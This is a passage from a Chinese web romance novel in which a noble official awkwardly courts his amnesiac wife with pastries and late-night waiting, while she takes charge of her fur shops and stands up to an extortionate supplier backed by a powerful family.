修竹机警,上前问他:“世子可是想买一些少夫人爱吃的?小的去买吧?” “不用”他凛声,掐捏了下拳头,像是费了好大劲克服了心里那层障碍。 “我去。”他说完,撩袍跨步进去。 里头的顾客多是女子,有些则是被主子派遣前来买点心的奴仆,好像真的没有像他这样的郎君亲自来买。 他一走进去,掌柜就立马热情地招呼起来:“这位郎君是要给家里娘子买零嘴的吧?” 掌柜高声这么一喊,店里几乎所有客人目光就都投到他身上。 他略感不适,僵硬地“嗯”了声。 掌柜热情地围着他,给他做推介,一边笑道:“甚少有男子像郎君这么贴心啊,还亲自过来给娘子买吃的,亲自挑选,郎君可真是一个好夫婿。” 那点心铺子的掌柜嗓门大,说话声音连门口的门童都听得一清二楚。 店内的女客大都将目光透到他身上,他眉头越皱越紧,巴不得赶紧挑完就走,可这时想起张白石的话,又掐着拳头硬生生忍耐下来。 “来点枣花酥,还有” 他斟酌着言辞,“以前经常来你这买糕点的,那位很爱笑的夫人,她不是总喜欢买你们店里一种一种” “郎君说的是我们店里特殊售卖的铜匦款糕点是吗?” 掌柜笑道:“原来你就是裴世子啊,裴少夫人以前经常来,可最近大半年好像很久没见她来了,我们这款铜匦款的糕点啊,每隔五天只出那么一款,而且都是要猜中谜题才能买的,每次都是裴少夫人猜中,不知道多少人羡慕呢。” 以前戚央央时常会把这店出的谜题拿回去请教他,她得到答案后就兴冲冲跑出去买糕点,她似乎特别爱吃这家的糕。 掌柜开始出谜题道:“谜面是,千里莺啼绿映红,猜一成语,大家想买铜匦款糕点的,都可以猜猜,猜中就可以买走。” “这个谜面已经放置好久,每日前来猜的人不少,京中才女才子也不少的,可从来没被买走过。” 大家听完掌柜的谜面,立马抓紧时间想了起来。 可裴陆戟却没给大家留机会,掌柜说完,他立马脱口道:“谜底是——有声有色。” 大家一听,眼神大亮。 对呀,有莺啼,有绿映红,不就是有声有色吗? 掌柜笑着从里头端来一个做工精致的铜匣。 说到铜匦款糕点,其实就是将特别制作的精致糕点用铜匣装起来,而里头的糕点也是这家店的大师傅耗尽心力用好材料精心制作,其他地方买不到这样独特好吃的点心,而他们家也就每五日创作一款独一无二的,所以每次买回去,铜匦一打开,都会是全新的惊喜。 掌柜笑着将铜匣递给他的时候,这边蜜香居铜匦款被买走的消息便在大街传开了。 裴陆戟提着铜匣骑马回去的路上,感觉街上人的目光都透到了自己身上。 连身后的修竹也感觉到了自家主子的局促,提议道:“世子,不若我们走小路?” 他知道他家世子不喜欢做这种风头出尽的事,尤其是在买铜匦款这种小事上,也知道他有多别扭。 但裴陆戟捏了捏拳头,还是忍耐下来道:“不必就让他们看吧。” 张白石都说了,越矫情越显摆越好。 第70章 他说:“现在该轮到我为她付…… 好不容易顶着众人艳羡的目光, 提着铜匦款糕点回府。 下马那一刻,他已经汗湿浃背,提衣跨进府里的那刻都颇有些落荒的感觉。 回到府里, 府里那些下人们一看见世子手上提着蜜香居的精致铜匣,俱都忍不住飘来惊奇的眼光。 看来这京城蜜香居的铜匦款名气还真大得很, 走到那里都有人知道。 那他这次够矫情, 够显摆了吧? 于是, 走到游廊处, 他还故意停下,让那些多事八卦的下人们能看看清楚这雕刻着蜜香居的精致铜匣。 他杵在游廊站了有些时候了, 等看过这铜匣的下人越来越多,他还故意咳了声, 耳垂渐渐发红道: “这是我特意给少夫人买的蜜香居铜匦款糕点,我现在要拿进去送给夫人了” 他生怕有些蠢的下人看见了都猜不出, 故意把话说得直白, 省得谣言传错。 自己说完这话, 脸上都烧得荒, 感觉这辈子都没干过这么蠢的事,若是回头不能讨得她高兴, 他非宰了张白石不可! 料着下人们都把话传得差不多了,他这才进了扶风院。 原想着她能感受到他的诚意了, 不料跨进院子中才发现,人没在。 他瞬即感觉力气都被抽走了。 “少夫人呢?”他慌忙遣来人问道。 管事告诉他,少夫人今日一早着人安排了马车, 似乎是出门去了,还带着一些人。 既然是坐着府里的车出去的,那就一定会回来。 裴陆戟松了口气。 此时府里的下人都在传, 世子想讨好少夫人,可行为瞧着有点傻。 修竹听不下去,前来问道:“世子,其实你想让少夫人感受到你的心意,想传什么消息出去,命令他们传便是了,何必何必”何必自己端着个铜匣四处招摇,他家世子平日都见不得别人犯蠢,偏生如今自己倒来做这种蠢事。 他小心翼翼端着铜匣,想找一个隐秘处藏着,按张白石说的,制造点“悬念式”的惊喜,不想搭他,可一想到修竹平日也颇得她信任,说不定无意间也能替他带些话,便耐下心来解释道: “因为我想改变一下,我自己。” “世子要改变自己?” 裴陆戟表情严肃地点点头,“过去她为我做了许多,在外边的人看来,很傻很可笑的行为,她被人瞧不起,被人笑话,可都是因为那时候的我太敏感、太偏执,对人极度不信任,若不是她持续不断的付出,十年来对我的不离不弃,我根本感受不到,人与人之间的感情。” “如今,她忘了前尘,可我也知道她心中对我执着的信念已经被逐渐消磨,因为长时间得不到我的回应,她已经快没有力气去坚持了,所以那会她才会向我提和离。而我太傻,又太自我,只会敏感地怀疑她,不珍惜她,一味将她往外推。我错了。” “现在,该轮到我为她付出了,被人笑话一下,又有什么关系呢。”他道。 那天,裴陆戟在扶风院等了戚央央一整天,可等到夜幕初垂,也不曾见她归来。 他看着天色,不由担心起来,便备马跑了出去,想接她回。 “少夫人好像是去了郊外的田庄,去那边亲自料事情呢。”修竹禀报道。 他皱眉:“她从前料这些事务,也如此忙碌的吗?” “回世子,少夫人她一般都会以世子的事为先的,那些庶务没处完的,一般会交给请来的管事,但小的听说,少夫人今天去田庄,好像是要去好好算一下这些年盈利的账目,规划一下购买新田地的事。” “购买新田地?”裴陆戟奇道。 “小的还打听到,少夫人明日还要去西街那边的店铺盘点账目,后天去城南的铺子,大后天去东大街。” 裴陆戟人已经来到田庄的别院外了,掌事把他领进去,他看着账房通明的火光,和那个坐在屋里认真执笔的纤小一抹身影,突然停住脚步道: “我就在这里等她做完,别去通传打扰她了。” 掌事应声退下。 不知过了多久,修竹已经拿草料喂完马了,就走过来同他道:“世子,时辰不早了,再不回去的话,城门就要关闭了,明日世子还要进宫早朝呢刚才少夫人跟下人要来了床铺被褥,她今晚大概是不回去了。” “知道了。”裴陆戟依旧在屋外盯着屋内的影子。 他又看了几眼,才终于道,“我们回吧。” “要不要告诉少夫人?”修竹道。 “不用,”他道,“这时候别打扰她,让掌事明日再告诉她一声,叫她回府好好休息后再去西街吧。” “是。” 晚上扶风院里的女主人不回来,裴陆戟睡不着,徘徊扶风院的廊下,愣愣地看着漆黑一片的屋内。 从前,她在府里等不到他回来的时候,是不是也是这种感觉呢?心里空落落,若有所失的感觉 他走进去,将已经藏好了的铜匣搬出来,放在桌子显眼的地方,想等她明日一回来,就能看见。 可第二天,等他散值回来,急匆匆往扶风院一看,发现桌子上摆放的铜匣还在。 修竹将铜匣打开一看,同他道:“世子,这糕点怕是不能久放,都已经色变了。” “那扔了吧。” “是。” “等一下,”修竹正要拿去扔,裴陆戟想到什么,突然叫住他。 戚央央昨日去田庄工作完,第二天急匆匆天没亮就赶去西街了,管事根本没来得及同她说关于世子来过,还让她先回府一趟的事。 西街那边好几家店铺的账目清算起来也比较麻烦,若是往日,她心不在此,自然就放由那些管事来打这些事务了,但她如今决定放开拳脚自己亲自打,需要操心操劳的地方自然就多了。 到了晚上,她都没办法抽身回去,如兰从外头提来一碗甜汤。 “这不是醉风楼的栗子甜汤吗?那家平常去吃个饭都要排好长的队,这都这么晚了,你上哪买来他们家的甜汤?”她奇道。 “回少夫人,不是奴婢买的,这是是世子排队好长时间亲自去买的,用热水一路温着过来送给少夫人喝呢。” “那他现在走了?” “没呢,”如兰回道,“他还在外头,说是再等一会,若少夫人今夜回府的话,他能接少夫人一同回去,若是少夫人不回,他就候在外面,等少夫人歇下了再走。” 此时,街上站在夜风中的裴陆戟,已经换过一身常服,站在大槐树下显得格外芝兰玉树气宇轩昂。 路上已经没有多少人了。 这时,一群正从旁边酒楼出来的官员经过,张白石也在其中,他喊住了他。 “裴尚书,这么晚了,你还在这边等夫人啊?”他忍不住当着众人的面揶揄他一句。 裴陆戟今夜碰巧又有些发作的迹象了,可西街不远处那段路最近流民颇多,如若戚央央今夜回府的话,他怕天色太晚她会遇上麻烦,所以才强撑着一直在此等候。 张白石来叫他的时候,他已经汗流浃背,眼前有些重影了。 “裴尚书的夫人?”这是另一个官员出声道:“可我早前不是听说,裴尚书与他夫人已经和离他夫人不是获罪被牵连的那个戚家人吗?” “唉,那些只是传言而已,什么获罪牵连啊,以英国公府多年为朝廷立下的功劳,陛下怎么就不能恩赦免罪了?我们裴大人啊,现在可疼爱他家夫人啦,昨日还特地为了讨夫人高兴,去把蜜香居里最难买的铜匦款糕点买到了,惹得满大街的人羡慕不已呢。” 张白石大声笑道。 官员们窃窃私语起来。 蜜香居的铜匦款糕点,对于京中的妇人而言,是极难猜中谜底,极难买到的奢侈物。 可对于朝中有地位的男人而言,那也不过是些讨妇人喜的玩意,他们即便是对那些谜题跃跃欲试,也不可能亲自跑去买铜匦款,那是会惹人笑话,有失风度的事情。 可听说裴大人竟然为了家中爱妻,不惜同些妇人争抢些甜糕,大家都感到不可思议。 “我们裴大人如今可是守妻狂呢,都这么晚了,还在” 张白石话说着说着,突然察觉到面前人的模样瞧着有些不对,便收了笑道:“你怎么了?” 裴陆戟也不想在一群同僚面前暴露病症,但此时确实难以忍住。 他干脆扶着树干蹲了下去,双手用力挠住树皮,都抠出了血。 修竹见状立马前去用披风将他盖住。 “我们世子今日感染了风寒,有些不适,就不与各位大人聊天了。” 张白石也知道他的情况,连忙将那群官员遣散,随后走到他面前道:“少仲兄,你自己这种状态还怎么出来接人呢,要不要我送你回去?” 裴陆戟也知道自己情况不大好,料想着这么晚戚央央都不出来,大概是没打算回去,这才让张白石送他。 可他人都进车了,突然听见外头戚央央在找他的声音。 “郎君!郎君!” 车上的他一个激灵,立马就想下车,却被张白石拉住,“我去跟嫂夫人解释,你这个样子恐怕是见不了她了。” 他忍住不适道:“不,不能让她知道了担心,现在才刚刚开始我应该能坚持到送她回去只要只要” 他用手指着车上备着的一根长长的银针,“你帮忙把银针从我额间的这个地方扎进去” 张白石看着那根足有半尺长的银针,发怵起来:“这么长扎过去,确定不会刺穿头颅啊?” 修竹道:“张大人,这种是质地偏软的针,你和世子以前不是都在谢大人手下学过这种梅花软针吗?” 修竹的话提醒了张白石,他惊道:“你竟然想用梅花软针封住身体其他穴道??” “这种办法确实能让你短时间内,身体能受你控制,但你也必须承受极大的痛苦,要知道,这套针法是老师用来对付心志坚定的死士,比他们伏法的!” 要知道,死士本来就是经过千锤万练,为完成主人任务抱着必死之心训练的人,如果能叫这些死士都忍受不了出卖主人,可想而知这套针法能让人承受多大的痛苦啊。 可却他因为担心自己病症发作会伤害了心爱的人,强行要求给自己施针。 听见戚央央喊他焦急的声音,裴陆戟脸色发白,急道:“快点!!” 张白石没时间发愣,只得按他说的,给他施这套针法。 70-80 第71章 他学着沐江恩安慰她的样子,…… “郎君!郎君” 戚央央在大街沿街找着, 却没有看见到他。 可如兰刚刚明明说他就在外头一直等着,而且她刚刚也明明听到声音的呀。 “央央” 这时,转角处走出一个翩翩郎君。 他额头上的汗水擦掉了, 可因为施针后的疼痛,此时在朝她笑着的样子, 还是略显僵硬。 “太好了, 原来你没走。”央央一见到他, 立马迎了上去。 “对不起, 我不知道你最近都在找我,我昨日去农庄, 发现那些账目太长时间没有人核算了,便将一些人辞掉, 自己亲自来弄,弄到很晚城门都关了, 只好在那边睡了, 今日一早又生怕西街这边情况也太糟, 便没回府直接过来了, 结果弄到现在。” 她致歉道。“我从前从来不把心思放在这些物产上,如今一看才发现, 我可以把这些东西做得更好,但是, 今后时间少了,可能照顾郎君的时间也少了。” 裴陆戟学着沐江恩安慰她的样子,给她捋鬓发, “没事,我不需要人照顾,你若是没时间, 便换我来照顾你,反正最近朝中之事也不是很忙,只要你开心就好。” 戚央央点点头,朝他展颜笑道:“开心,我现在觉得很开心,我看过这些年的账目,突然信心满满,我有信心,往后我一定可以做到像我外祖一样,成为大晋数一数二的富商,我可以用赚来的钱财,做许多有意义的事,我第一次觉得,算账经商原来也是极其快乐有趣之事。” “这都全靠郎君你提醒我,你说让我做回自己。” 她微微对他笑着的样子,很是自信、耀眼、好看, “所以我就在想,如果我只是我,而不是谁的妻子,谁的儿女的话,我还能做怎样的我。” “然后我就想到了,经商。” “我的外祖和外婆从前都是经商的,我外婆他们家,也没有因为我外婆是女子,就不允许她经商,反而,她经营的能力比我外祖还强,甄家从前积累的那些家财,大部分都是外婆赚的。” “所以,我想,我或许可以成为像她一样的人。” 裴陆戟看着她如今这副模样,身上的剧痛都感觉变轻了不少,定定地望着她,移不开目光。 “好,我相信,你一定可以成为像你外婆不,甚至比你外婆还要厉害的女员外。” “嗯!”她笑得更开心了。 “可是,要成为富甲一方的女员外,也得先保重身体,好好休息啊,你这么没日没夜地工作,身体吃不消的,那些账目,需要我帮你吗?”他问。 “不用,刚才我都已经完了。” “那我们回家?”他伸出手想去牵她。 可她却缩了手,“不,不行,还有一些重要的货需要盘点,明日就有重要的客人来,我得亲力亲为。” “今夜大概也回不去了。”她抬头看着他,似乎在征求他意见。 裴陆戟身体撑得很难受,后背里衣几乎都是湿透的,他忍着痛对她笑道:“好,那我帮你一起盘点。” “不行,”她道,“你明日要很早起来上朝,还是赶紧回去休息,明日,明日我见完那客人,就歇息一天,隔一天再去城南的商铺好了。” 裴陆戟轻轻笑着道了声“好”。 “明日回来我准备你爱吃的菜,好不好?”她笑。 “不用你准备,让修竹他们准备就行,明日我让修竹准备你爱吃的菜,你回来休息好了,等吃的就行。” “郎君你真好。” 目送着她离开,裴陆戟也有些支撑不住。 张白石和修竹在拐角处一直看着,等人走了,他们立马跑过去扶他,张白石赶紧将刺入他额间的软针抽出。 “修竹你将他绑起来吧,没有了这软针,他待会发作起来我们奈何不住他的。”张白石道。 “不过,刚才这针刺下去,他力气早就耗尽不少,大概也使不出多余的力气了。” 他向来爱捉弄、爱调笑他,可此时看着他汗湿浃背、脸色发白的模样,终于没有心情捉弄了。 “傻不傻!”他暗骂。 · 戚央央将西街商铺的货品账目都好的时候,都已经第二天的早上了。 她累得走路都能把眼睛阖上了,上马车的时候,要不是如兰扶着她,她都要差点摔下来了。 一路在颠簸的马车上睡到回到英国公府,下车的时候,她恍惚问了句:“城南三十八间铺子,生意最好是哪几家?” 如兰扶着她手道:“少夫人,今日不是说好不去城南了,要回府歇息一天,明天再去的吗?你昨夜都熬了一夜没睡了” 央央这才想起,好像的确是答应了他,便只好道:“那好吧,你去问一下,郎君今日大概会什么时候回府。” 不等如兰派人去找修竹打探,府里有人看见戚央央回来,就亲自过来禀报了, “少夫人,世子说今日散值后还得去城外军营一趟,会稍晚些回府,这是世子嘱小的送来的。” 戚央央接过那位小厮端上来的一个精致铜匣,打开一看,发现里面有六个形态各异的精致糕点。 “这”她蹙了蹙眉,“这些是蜜香居铜匦款糕点吗?” 那小厮只是笑笑,恭敬地侍立一旁。 “可是为什么有六个那么多?他们家不是每五日出一款,每次只出一个的吗?” “世子说了,这是他欠少夫人的款式,往后还会补回来的,现在暂时先给少夫人补六款。”小厮笑。 戚央央诧异不已,但她的确爱极了买那家店的铜匦款,如今见了,哪有不馋的?刚刚还因为困倦而没有食欲,现下一下子胃口大口,把六款糕都吃下了。 吃完了糕,美美地睡了一觉。睡醒起来,问了如兰时辰,觉得还早,便打算去城南一趟,再多做一些活。 反正早上那小厮也说了,郎君他没那么早回府。 戚央央洗漱完让府里给她准备马车,坐上马车出发没多久,裴陆戟就骑着马,提着个新的铜匣回来了。 “少夫人呢?”裴陆戟刚下马,气都顾不上喘,就找人来问道。 “回禀世子,少夫人刚刚坐车出府了,说去城南商铺,去一会就回来。” 城南那些铺子,生意好的那几家都在做皮货生意。 戚央央这时候去不是为了盘点货或者账目,而是要找那些负责供货的源头合作商。 城南的铺子大多是她当年嫁裴陆戟时,英国公府拨给她的聘礼。 那些都是英国公府最值钱的铺子,位置好,营收好,在她未嫁进来之前,那些铺子都放在裴陆戟名下打着,后来她进门了,英国公将愧对甄氏的全部补偿给她,就把这些都圈给她当聘礼。 当时裴陆戟虽不满甄氏插手他婚事,但英国公让他给这些铺子时,他二话不说,还悄悄用私产将旁边营收好的铺子都买下来,添置在里头了。 虽然后来有一段时间,皮货生意陷入了一些大纠纷,牵连到裴氏名下的许多营生都出现问题,恰好那段时间,皇帝采取了一个寒门臣子的意见,征集世家财力兵力剿匪,裴陆戟也被朝廷征收兵力去前线剿匪。 那时虽说裴陆戟不必上前线,但倘若那次征收的兵败了,他的官位可能保不住,所以,央央才将自己的嫁妆铺子都卖了,给裴家增加兵力。 而当时,世家开始纷纷投靠秦丞相,但凡与秦氏攀上关系的,那次剿匪都幸免于难了。 真正真金白银拿钱拿兵力出来的,只有裴家。 后来剿匪成功后,裴陆戟悄悄又把她卖掉的嫁妆都买回来了,以前碍于面子的关系,不敢亲自给她,拖到后来她要嫁给沐江恩,才悄悄借沐江恩之手,添进她的嫁妆里,那些在单子上都没有写,他只同沐江恩交代说,以后若她发现了问起来,就说那些都是荆王的心意。 而那些被赎回来的嫁妆中,其中有一间叫“盛意”的皮货店,也是在城南。 所以当戚央央到了城南听说“盛意”也是她名下的店时,她小小诧异了一下。 没多久她就高兴地笑了,“郎君他原来后来都给我赎回来了” 如兰在旁边的时候,内心是很震惊的,从前她一直以为都是少夫人单方面在付出,世子则自私且心安得地接受着她对他的好,没有一丝回馈。 但原来并不是那样的。 当年少夫人将她部分营收好的铺子都卖给一位江淮有些江湖地位的商人,世子没有一番周折是不可能从那位淮商手里买回铺子的。 当时世子用她妹妹来胁迫她好好侍奉失忆后的少夫人,并且不许向少夫人透露任何她失忆前发生的事情时,她一面服从,一面在心里恨透了这虚伪的人。 但后来慢慢见他待少夫人的样子,她又开始有些动摇。 兴许世子他其实没有她想的那么坏? “如兰,把几家皮货店共同的那些源头合作商名单都拿过来给我瞧瞧。” 戚央央在那边喊了,如兰回过神来,“好的,奴婢这就找管事拿来。” 第72章 他也回看着她,轻轻地笑…… 管事将最近合作的源头合作商名单都拿来予戚央央细看了。 央央发现有一家合作商在京城, 其他都是大晋以北的一些国家的合作商。 “店里真正卖得好的皮货都是些貂皮、狐皮,而最好的货源,都是在极北的地区, 这家合作商就在京城,京城这边还有珍罕的货源吗?” 她指着名单问。 管事便恭敬地与她道:“启禀少夫人, 少夫人有所不知, 这位合作商户主要是提供一些附近猎户能打到的皮, 松鼠皮、黄鼠皮, 和一些普通羊皮。” 戚央央翻着本子看,“既然只是些普通货, 可为何每年进货的钱财大多都拨到这位的手中?既然不是什么珍稀的货,又要价如此高, 以后就不进这家的货吧。” 管事一听,脸有戚戚, “少夫人你有所不知, 京中所有皮货店, 都跟这家合作商签订了合同, 每年至少要拿够一定的货量,不然是要赔款的” 戚央央觉得荒谬, 道:“这家什么来头?强盗匪子么?别人不进货还倒赔钱了?” 管事瑟瑟,“少夫人, 大家都是如此,这家合作商是秦家的人,不与他们合作的话, 那些关外的合作商他们的货,就不能引进我们商铺了。” 原来是秦家的人。 央央握本子的白皙指节掐得微微泛粉,秀丽的眉头紧蹙着。 “对了, 少夫人,我们店前段时间引进了塞北的一些珍稀的白狐皮,那位邵老板,就是小的说的那位秦家的人,早上就来了,说抬一下这个季度的火鼠皮价格,可如今还没到旺季,还在囤货,没有多余资金来付给他们这个季度的火鼠皮钱,如今他还坐在花厅里不肯走呢。” 戚央央听完管事的话,决定要去会一会这位邵老板。 这个姓邵的,一眼看上去,匪里匪气,一点不像个商人倒像个混混,三角眼,尖下巴,一身锦衣倒是人模人样。 见了央央,倒也表现得有礼。 “给夫人问好。” “夫人是来缴清上个季度贵店所欠下的鼠皮的账的话,能不能也顺便把这个季度欠的缴了,我们还等着夫人的钱周转呢。” 央央一听,捏了捏衣袖,倒也显得淡定,微笑道:“我家伙计告诉我的是,邵老板是来收这个季度的款,可并未说上个季度也有欠下钱啊?” 邵经国颇有风度地笑着点点头,折扇一摇,道:“早上的时候,确实只欠这个季度,但是,我已经来贵店做了整整一天了,你们都还没给我凑齐款额,那就不是这么算了。” “夫人难道不知道,我这一天下来,能去收多少张皮,能进多少流水吗?整个京城有多少猎户,他们的皮都由我来收,要知道,这个季节毛皮是不堪放的,我这半天找不到人,那些皮就做不成皮衣了,我的损失,不都得靠你们的进货价来弥补?上个季度,我记得你们店也引了一批成色相当好的狐狸皮,该补的钱,总该补上了,才能安安顺顺继续经营下去。” “夫人,你觉得呢?”邵经国眯了眯眼道。 戚央央从没见过如此无耻之人,不过,她几岁大被抱在膝盖坐的时候,就常常听外祖父外祖母跟她说一些商场上应对过的无赖,她倒是不怕他的。 “是这个没错,”央央陪笑道,“可是我刚刚一翻仓库里的货盘点了一下,发现邵老板去年给我们的货,占用了库房大半的空间。” “我寻思,若是我们仓库不进邵老板这一半的货,我们可能就能储存更多上好的狐皮、貂皮,把它们多放时日,限量出售的话,我们能赚更多钱同时,也能以它们最低价格的时候买入,这么已算啊,发现我们店好像损失了不少呢。” 邵经国笑容凝住,“夫人,你可知道自己在说什么啊?” 戚央央也不怕他,“邵老板,这样吧,你也是替主家办事的,何必为难我们这些小商家呢?我们不是白纸黑字签订好合同的吗?一年该从你那进多少,收多少价,就完全按照合同上的来。” “我相信,你家主人也是有头有脸宽容大量的人,闹到官府,要过明目看的时候,不也一切照合同上来说吗?你觉得呢?” 邵经国脸一黑,折扇往檀木案几一敲,“你有种。” 说完,他头也不回走了。 如兰刚才在身后看得热血沸腾,等那邵老板被自家主子气走后,立马鼓掌道:“少夫人真厉害!管事都无法摆平的人,少夫人一来就吃不了兜着走!” 戚央央松口气下来,却满脸丧气,“事情没这么简单,我只是把他气走而已,可接下来,要怎么善后,则是一个大难题。” 管事这时候也忧心忡忡地上前来,“夫人说得对,我们近期在塞北还有一批货要进来,邵老板不满意,说一句话,完全可以把我们的货扣在关外,那些都是贵客早早订了的,到时候我们得赔多少给客人啊!” 戚央央愁眉不展的时候,门童提着一个精致铜匣进来了。 “少夫人,世子来了。”门童笑道。 裴陆戟已经把官袍换了,身穿一袭靛青圆领袍,俊美非凡。 戚央央目光注意到他身上那套衣裳,本来还愁眉不展的,如今多了几分笑容,“这不是我送你的那件” 裴陆戟轻咳了一声,还是有些不自在地别开眼,耳根微红,“嗯,是你前年亲自做来送给我的生辰礼物,很好看我很喜欢。” 央央一愣,“前年?哦、对对,你说我失忆少了一年的记忆,我还寻思说怎么不是去年送的呢。” “不过我之前都没见你穿过,还以为你不喜欢呢,倒是保存得挺好的,连折子都没有。”她笑道。 这回,他身上的衣裳终于被瞧见,心口某处陈旧的伤痕竟奇异地愈合好了。 他像一个傲娇被哄好的孩子,一步步把心底话往外掏:“其实你送我亲手做的衣裳时,我是很高兴的,因为从前从来没有人送过我。” 央央纳罕道:“难道小时候你娘亲没亲手给你做过小衣裳吗?” 可话一出,她又意识到自己好像说错话,连忙道:“对不起我不该问。” “没事,”他笑笑,“她也不是什么提不得的人,都过去那么多年了。” “她把我生下,但却不怎么喜欢我,怎么可能会给我做衣裳,所以,你是第一个给我做衣裳的人,我自然是喜欢的。” 自打他第一次同她真实表达出自己的情感之后,发现原来表达自己的喜欢之情,没什么见不得人,如今已经越来越能熟练去表达出来了。 戚央央愣愣地看向他,若有所思。 裴陆戟被她看得有些面热,背转过身,假装帮她看账的样子,“你刚刚一直看着这些账目唉声叹气,是遇上什么难题了吗?” 央央看着门童从铜匣里给她端出些五彩斑斓非常有特色的糕点,整齐摆盘端到她面前,她却没心思去尝,怏怏道:“刚刚有人来收账了,店里钱不够,嗯也不是钱不够的问题。” 随后,她就把事情一五一十都告诉他。 裴陆戟听完,从案头抽出一张纸,铺平,提袖轻轻研墨,姿态从容优雅得不行。 “首先,你得先捋顺,如今你最核心的目的是什么。” “还要学会借势打势。” 央央听得云里雾里,“怎么样借势打势?” 他搁下笔,悄悄朝门口处的修竹打了眼色,修竹便进来,在少夫人不察觉的时候,悄悄将门童、如兰和店里的管事请出去。 他见屋里只剩二人,便亲自用手指掐住一块晶莹剔透的荷花糕,送到央央唇边。 央央在思考的时候,根本顾及不了想其他,见有美味在当前,便一下张嘴咬下一口。 甜丝丝带着荷花清香的味道,入口即溶,甜而不腻,瞬间开启味蕾。 只见他也回看着她,轻轻地笑,“你现在,最能借的势是什么?” “要学会,利用身边一切的资源。” “那个邵经国,他是秦家门将出身,从前只是湖州那一带的地痞流氓,哪怕如今身份光鲜了,一些旧时所沾染的贪婪刁滑习性,多多少少改不掉,他怎么可能不贪?说不准有许多事都是连秦家的人都不知道的呢。” “那样的人,你说他会怕什么?” 戚央央顿时眼前一亮,“我好像明白了!” “明白就好。”他笑着,将写好字的纸放到她手上。 只见上头笔触遒劲有力,笔锋犀利矫若惊龙,只有四个字:顺应而为。 “谢谢你,郎君,只是你为什么”她欲言又止。 “什么为什么?”他伸手接住她掉下来的糕屑。 她摇摇头,“没什么。” 戚央央让管事把店里压箱底的镇店之宝都拿上来。 管事有些不解,“少夫人,这些毛皮都是极品中的极品,只展示,不售卖的,少夫人想拿来做什么?” 央央将这些镇店之宝用最奢华的礼匣打包好,像是要准备送出去的样子,惹得管事忧心不已:“少夫人不是想拿这些货来讨好邵老板吧?这些皮货虽然值钱,但只能抵一回,下回他再来狮子大开口,我们就没法了呀。” 央央笑道:“我自然不会让他有再次狮子大开口的机会。” 第73章 他跑得鬓角微有薄汗赶去见她…… “齐掌事, 我问你,这些镇店之宝的货源,也是现在塞北准备要进的那些源头商进来的吗?” 戚央央问。 “是的, ”齐管事道,“好的货, 大部分都是北边的货。” “那就行了, 明日我找人来, 把这几件毛皮制成成品, 送到宫里去。” 经裴陆戟的提点后,戚央央感觉自己仿若开了灵窍般, 一下子就把事情的头和尾,整个行事脉络以及推动的主要关键力量都在脑海中列得明明白白的。 第二天, 戚央央就找来了一大帮京城出色的裁缝和绣娘,赶工制作了几件精美的披风。 由于时间紧迫, 不能做太复杂的样式, 只能选一些大方得体的样式来做。 做成之后, 她去衙门找裴陆戟。 张白石去聆讯出来的时候, 恰巧看见央央从马车下来,他本想过去提醒她, 如今裴陆戟不在大寺衙门任职,不等他过去提醒, 只见一位门口洒扫的衙役已经第一时间冲上前去,“裴少夫人,裴大人如今在兵部任职了, 我带你去吧。” 张白石失笑。 果然,他就说怎么最近总看见大寺门口有人轮班似的,明明门口石板都被擦得可以照物了, 却在当值期间,门口那块地砖片刻也不离人。 原来是裴少仲这痴情郎,生怕他家夫人一不小心记错他当值的地方,早早安排好人了。 看来这下真的风水轮流转,以前他家夫人总来衙门接他时,他不知跟谁生闷气似的,较着劲冷落人家,让人家在外面等上半天,现下却是生怕人家找不着他走掉似的,每个地方都派了眼线来知会。 戚央央来到兵部衙门时,裴陆戟正在审阅各地送上来的军报。 前一刻,粮草押运官还因为运送军粮过程中出了差错而胆战心惊地低着头,等待着他发话,后来有人进来在尚书大人耳边耳语了几句,只见裴尚书眉头瞬间解开了。 粮草押运官以为是军粮找到了,自己不用背罪了,抬头期待地看了看他。 裴尚书却径直站起往外走,粮草押运官疑惑地喊住他道:“尚书大人?” “是不是粮食找到了?”他试探性问道。 紧接着裴陆戟的眉头又蹙了起来,威严可怕道:“你觉得坠下千尺深渊的粮草,花费兵力往底下找,到时候人员的折损比起那些粮食,孰重孰轻?” 粮草押运官吓得双腿一跪,瑟瑟:“是是” “报备一下损失,缺的粮草从各地储仓调运过去,至于你的失职,这是严重的问题,不可用钱财弥补” 粮草押运官是寒门之子,从前这位裴尚书来之前,寒门之人和世家之子当差待遇是天差地别的,世家子犯了小错,花些钱可以让寒门人背锅,而寒门人花钱,顶多也只是保住性命,寒门中人从仕的路往往比世家子艰难许多,就光要找到推荐的人,就得经过千难万险,也不一定能成功。 而裴尚书来了之后,许多世家子弟犯错便与寒门子一视同仁了,该革职的他毫不留情,压根没有一个人可以把钱塞入他手中,他就像一尊不食人间烟火的冷面神佛,睥睨傲视地望着芸芸众生丑态,我行我素,该大刀阔斧的时候毫不留情,什么都动摇不了他的决策。 所以,这次粮草押运官自认是自己的错,就算就此被革职,就算他进来官署经历过千难万难,也没有怨言了。 若是从前,他定然是不服的,定然有怨的。 “好,卑职这就” “本官看过你以前的资历,发现你对军械器材有些研究,往后本官有意将你往军械部门放,你愿意到军械部门从小做起吗?” 就在押运官打定主意要被革职之际,裴大人突然抛出那么个邀请。 虽说从一个六品官突然降到军械部没有品阶的小吏,看来是降级惩罚了,但军械部确实是他想要大展拳脚、有深深抱负的地方。 而且,对于一个犯了错的罪官,本来打定主意从此脱离从仕这条路,如今突然告诉他还给他留了机会,他怎么可能不万分重视这唯一的机会? 他立马感激涕零伏下身子:“谢大人!!” 裴陆戟打发完他,立马兴冲冲跑去外头迎接戚央央。 从前他总是别扭、执着、小气,每次她来衙门找他,他就用各种各样的冷淡让她知道,人不能一味只做牺牲自己讨好别人的事,尤其她还不是他要的那种真心。可是现在,他觉得,哪怕只是一时片刻的假象,他也愿意全力以赴,配合她的演出。 “央央” 他跑得鬓角微有薄汗,在衙门大门的石狮子旁看见了那一袭暖黄的倩影,兵部衙门大门口栽有几棵有垂丝的花树,风一吹,同她的裙角一起,在心间荡出一圈一圈的涟漪。 她回头,朝他笑,轻唤:“郎君。” 他觉得这一幕仿佛在梦中梦见过许多回,她在花树底下等他散值,被花瓣雨溅了一身,而他踏风而至,替她拂拭花瓣,阳光暖融,撒在他们身上。 寻常美好的日子,却反反复复地梦见,像极了某种奢望,也像极了某种预示。 “郎君,”她也走得满身薄汗,唇脂没涂,唇色却因为走动而染上了诱人的桃红。 “郎君,”她再唤了一声,急促道:“我有东西想送进宫里,本来可请母亲帮忙的,但你不是说母亲要远游一段时间,暂时回不来吗?那我只能请你帮忙了” 